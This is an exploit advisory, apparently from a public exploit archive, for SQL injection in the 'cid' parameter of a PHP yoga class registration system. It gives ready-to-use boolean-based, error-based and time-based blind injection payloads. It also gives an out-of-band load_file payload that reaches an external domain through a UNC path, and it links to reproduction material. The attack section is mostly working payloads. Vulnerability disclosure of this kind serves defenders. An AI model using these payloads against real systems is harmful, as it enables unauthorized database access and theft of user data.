Yoga Class Registration 1.0 SQL Injection

`## Title: Yoga Class Registration -1.0-2023 - Multiple SQLi  
## Author: nu11secur1ty  
## Date: 02.27.2023  
## Vendor: https://github.com/oretnom23  
## Software: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The `cid` parameter appears to be vulnerable to Multiple-SQL injection  
attacks. The payload '+(select  
load_file('\\\\aaob4nk5vd0lv9e50qp2c5c1dsjl7iv9yxpkg85.stupid.com\\shs'))+'  
was submitted in the cid parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain.  
The attacker easily can steal all information about this server and  
this could be awful for all users of this system.  
  
STATUS: HIGH Vulnerability - CRITICAL  
  
[+]Payload:  
```mysql  
---  
Parameter: cid (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: p=yclasses/registration&cid=158158925' or '6060'='6060'  
AND 7469=7469 AND 'IrlM'='IrlM  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: p=yclasses/registration&cid=158158925' or '6060'='6060'  
AND (SELECT 6894 FROM(SELECT COUNT(*),CONCAT(0x71786b7071,(SELECT  
(ELT(6894=6894,1))),0x716a6a7871,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CykB'='CykB  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: p=yclasses/registration&cid=158158925' or '6060'='6060'  
AND (SELECT 9785 FROM (SELECT(SLEEP(3)))edGv) AND 'KLgd'='KLgd  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Yoga-Class-Registration%20-1.0-2023%20-%20Multiple-SQLi)  
  
## Proof and Exploit:  
[href](https://streamable.com/hhcgg6)  
  
## Time spend:  
01:00:00  
  
`